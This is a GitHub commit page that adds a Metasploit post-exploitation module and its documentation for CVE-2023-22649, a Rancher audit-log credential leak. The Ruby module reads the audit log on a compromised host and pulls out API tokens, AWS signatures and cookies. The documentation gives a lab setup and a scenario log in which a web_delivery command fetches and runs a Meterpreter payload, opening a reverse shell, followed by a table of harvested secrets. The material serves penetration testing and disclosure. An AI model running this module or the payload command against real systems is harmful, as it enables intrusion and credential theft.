-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18962, rancher audit logs information leak
new post module: rancher audit logs sensitive information leak (CVE-2023-22649)
- Loading branch information
Showing
2 changed files
with
243 additions
and
0 deletions.
There are no files selected for viewing
121 changes: 121 additions & 0 deletions
121
documentation/modules/post/linux/gather/rancher_audit_log_leak.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
## Vulnerable Application | ||
|
||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive | ||
contain a vulnerability where sensitive data is leaked into the audit logs. | ||
Rancher Audit Logging is an opt-in feature, only deployments that have it | ||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. | ||
|
||
Tested against rancher 2.6.0 and 2.8.1. | ||
|
||
### Install | ||
|
||
Run the following docker command: | ||
`docker run -d --restart=unless-stopped -p 80:80 -p 443:443 -e AUDIT_LEVEL=3 -v /var/log/rancher/auditlog:/var/log/auditlog --privileged rancher/rancher:v2.6.0` | ||
|
||
You'll now need to grab the install key via `docker logs`: `docker logs <docker_id> 2>&1 | grep "Bootstrap Password:"` | ||
|
||
Lets now add some data for the logs: | ||
|
||
1. Click Cluster Management | ||
1. Select Cloud Credentials: | ||
1. Click the hamburger in the top left corner | ||
1. Select Cluster Management | ||
1. Click Cloud Credentials, and Create | ||
1. Pick Digital Ocean | ||
1. Fill in random data, it doesn't have to validate and be a live account | ||
1. Click Create. It will fail, but the audit logs we need have been written | ||
1. Pick Amazon | ||
1. Fill in random data, it doesn't have to validate and be a live account | ||
1. Click Create. It will fail, but the audit logs we need have been written | ||
1. Click your user icon in the top right corner | ||
1. Select Accounts & API Keys | ||
1. Click Create API Key | ||
1. Give it a name and click create. Write down these values | ||
1. Perform a request via curl (on the docker image is easiest) which will generate more logs (but ultimately fail): | ||
`curl -H "X-Api-Auth-Header: <your bearer token>" -H "X-Amz-Security-Token: FINDME" -k https://172.17.0.2/v3/clusters` | ||
|
||
## Verification Steps | ||
|
||
1. Install the application and generate data | ||
1. Start msfconsole | ||
1. Get a shell | ||
1. Do: `use post/linux/gather/rancher_audit_log_leak` | ||
1. Do: `set session [#]` | ||
1. Do: `run` | ||
1. You should get a table of leaky fields found | ||
|
||
## Options | ||
|
||
### LOGFILE | ||
|
||
The log file to analyze. Defaults to `/var/log/auditlog/rancher-api-audit.log` | ||
|
||
## Scenarios | ||
|
||
### Rancher 2.6.0 on Docker | ||
|
||
``` | ||
[*] Processing rancher_logs.rb for ERB directives. | ||
resource (rancher_logs.rb)> use exploit/multi/script/web_delivery | ||
[*] Using configured payload python/meterpreter/reverse_tcp | ||
resource (rancher_logs.rb)> set target 7 | ||
target => 7 | ||
resource (rancher_logs.rb)> set payload linux/x64/meterpreter/reverse_tcp | ||
payload => linux/x64/meterpreter/reverse_tcp | ||
resource (rancher_logs.rb)> set lhost 172.18.0.1 | ||
lhost => 172.18.0.1 | ||
resource (rancher_logs.rb)> run | ||
[*] Exploit running as background job 0. | ||
[*] Exploit completed, but no session was created. | ||
[*] Started reverse TCP handler on 172.18.0.1:4444 | ||
[*] Using URL: http://172.18.0.1:8080/zpJT4e2V | ||
[*] Server started. | ||
[*] Run the following command on the target machine: | ||
wget -qO gmZmOwc0 --no-check-certificate http://172.18.0.1:8080/zpJT4e2V; chmod +x gmZmOwc0; ./gmZmOwc0& disown | ||
[*] Sending stage (3045380 bytes) to 172.17.0.2 | ||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.17.0.2:34252) at 2024-03-13 16:51:26 +0000 | ||
``` | ||
|
||
``` | ||
resource (rancher_logs.rb)> use post/linux/gather/rancher_audit_log_leak | ||
resource (rancher_logs.rb)> set session 1 | ||
session => 1 | ||
resource (rancher_logs.rb)> set verbose true | ||
verbose => true | ||
msf6 post(linux/gather/rancher_audit_log_leak) > | ||
msf6 post(linux/gather/rancher_audit_log_leak) > run | ||
[+] Rancher log saved to: /root/.msf4/loot/20240313165133_default_172.17.0.2_rancher.api.log_616439.txt | ||
[+] Found X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs | ||
[+] Found X-Amz-Security-Token FINDME | ||
[+] Found X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa | ||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
[+] Found X-Api-Auth-Header Bearer digital_ocean_access_token | ||
[+] Found X-Api-Set-Cookie-Header: __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 | ||
[+] Found X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-content-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed | ||
[+] Leaked Information | ||
================== | ||
Field Value Location | ||
----- ----- -------- | ||
Username admin Requests | ||
X-Amz-Security-Token FINDME requestHeader | ||
X-Api-Auth-Header token-p6nzp:zcpscwmzbx2kvfdffl8lqlqv5564s98225zn5ds67rtnw5m4hcjlqs requestHeader | ||
X-Api-Auth-Header Bearer aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa requestHeader | ||
X-Api-Auth-Header Bearer digital_ocean_access_token requestHeader | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=be70968f3e291c0dad80ea15daa220ab8e87d79b76f28e782319443a174aa626 | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=32d930648433fbb8d4da9a26af23ec83ce0df0e9010e56da3b7ee2708cee0e75 | ||
X-Api-Auth-Header AWS4-HMAC-SHA256 Credential=aws_key/20240313/us-west-2/ec2/aws4_request, SignedHeaders=amz-sdk-invocation-id;amz-sdk-request;content-length;content-type;host;x-amz-conten requestHeader | ||
t-sha256;x-amz-date;x-amz-user-agent, Signature=6992fecba7ad5f33e0cf5ab5d86c4e7df8b332a74c861a5d3f05a65a5fbc9bed | ||
X-Api-Set-Cookie-Header __cf_bm=2W30ytsdvsLv72Iok1yhwxxsb2vMTPSR7TBCwVZFSGA-1710342756-1.0.1.1-W82_TGzMA.9nV.Qan0XFdGijkdil8VjhuSHbCC85hD2XEsS9rEaR_IlX0X_hsDuDj52ULmlywjjTJZP5zkk503.D4IDGc30FExY responseHeader | ||
2pUhDRyU; path=/; expires=Wed, 13-Mar-24 15:42:36 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
X-Api-Set-Cookie-Header __cf_bm=MDIoCaX1Uv1po1JmVaiUvzljV4m9vovMhzjQBN36u2c-1710342849-1.0.1.1-GaceyvEmf5JRuEDxjuU.ByuyIEj6RtMkdN.QqbENHhCLLk.VLlSqn2kk6ykypIZqbpWgzQtOk6iamIROy456PtvgVL9PA3ZebG9 responseHeader | ||
CFh1y8IM; path=/; expires=Wed, 13-Mar-24 15:44:09 GMT; domain=.digitalocean.com; HttpOnly; Secure; SameSite=None | ||
[*] Post module execution completed | ||
msf6 post(linux/gather/rancher_audit_log_leak) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Post | ||
include Msf::Post::File | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Rancher Audit Log Sensitive Information Leak', | ||
'Description' => %q{ | ||
Rancher versions between 2.6.0-2.6.13, 2.7.0-2.7.9, 2.8.0-2.8.1 inclusive | ||
contain a vulnerability where sensitive data is leaked into the audit logs. | ||
Rancher Audit Logging is an opt-in feature, only deployments that have it | ||
enabled and have AUDIT_LEVEL set to 1 or above are impacted by this issue. | ||
Tested against rancher 2.6.0. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die', # msf module | ||
], | ||
'Platform' => ['linux', 'unix'], | ||
'SessionTypes' => ['shell', 'meterpreter'], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/rancher/rancher/security/advisories/GHSA-xfj7-qf8w-2gcr'], | ||
[ 'URL', 'https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options'], | ||
[ 'CVE', '2023-22649'] | ||
], | ||
'DisclosureDate' => '2024-02-08', | ||
'Notes' => { | ||
'Stability' => [], | ||
'Reliability' => [], | ||
'SideEffects' => [] | ||
} | ||
) | ||
) | ||
register_advanced_options [ | ||
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ]) | ||
] | ||
end | ||
|
||
def run | ||
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options | ||
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE']) | ||
|
||
log = read_file(datastore['LOGFILE']) | ||
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log') | ||
print_good("Rancher log saved to: #{loot}") | ||
|
||
usernames_found = [] | ||
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location']) | ||
|
||
log.each_line do |line| | ||
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token'] | ||
leaky_response_headers = ['X-Api-Set-Cookie-Header'] | ||
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey'] | ||
|
||
json_line = JSON.parse(line) | ||
|
||
if json_line.key? 'requestHeader' | ||
leaky_request_headers.each do |leaky_field| | ||
next unless json_line['requestHeader'].key? leaky_field | ||
|
||
secret = json_line['requestHeader'][leaky_field] | ||
secret = secret.join(' ') if secret.is_a?(Array) | ||
print_good("Found #{leaky_field} #{secret}") | ||
table << [leaky_field, secret, 'requestHeader'] | ||
end | ||
end | ||
|
||
if json_line.key? 'responseHeader' | ||
leaky_response_headers.each do |leaky_field| | ||
next unless json_line['responseHeader'].key? leaky_field | ||
|
||
secret = json_line['responseHeader'][leaky_field] | ||
secret = secret.join(' ') if secret.is_a?(Array) | ||
print_good("Found #{leaky_field}: #{secret}") | ||
table << [leaky_field, secret, 'responseHeader'] | ||
end | ||
end | ||
|
||
if json_line.key? 'requestBody' | ||
leaky_request_body.each do |leaky_field| | ||
next unless json_line['requestBody'].key? leaky_field | ||
|
||
secret = json_line['requestBody'][leaky_field] | ||
secret = secret.join(' ') if secret.is_a?(Array) | ||
print_good("Found #{leaky_field} in #{secret}") | ||
table << [leaky_field, secret, 'requestBody'] | ||
end | ||
end | ||
|
||
if json_line.key? 'responseBody' | ||
leaky_request_body.each do |leaky_field| | ||
next unless json_line['responseBody'].key? leaky_field | ||
|
||
secret = json_line['responseBody'][leaky_field] | ||
secret = secret.join(' ') if secret.is_a?(Array) | ||
print_good("Found #{leaky_field} in #{secret}") | ||
table << [leaky_field, secret, 'responseBody'] | ||
end | ||
end | ||
|
||
usernames = json_line.dig('user', 'extra', 'username') | ||
next if usernames.nil? | ||
|
||
usernames_found += usernames | ||
end | ||
|
||
usernames_found.uniq.each do |username| | ||
table << ['Username', username, 'Requests'] | ||
end | ||
|
||
print_line | ||
print_line(table.to_s) | ||
end | ||
end |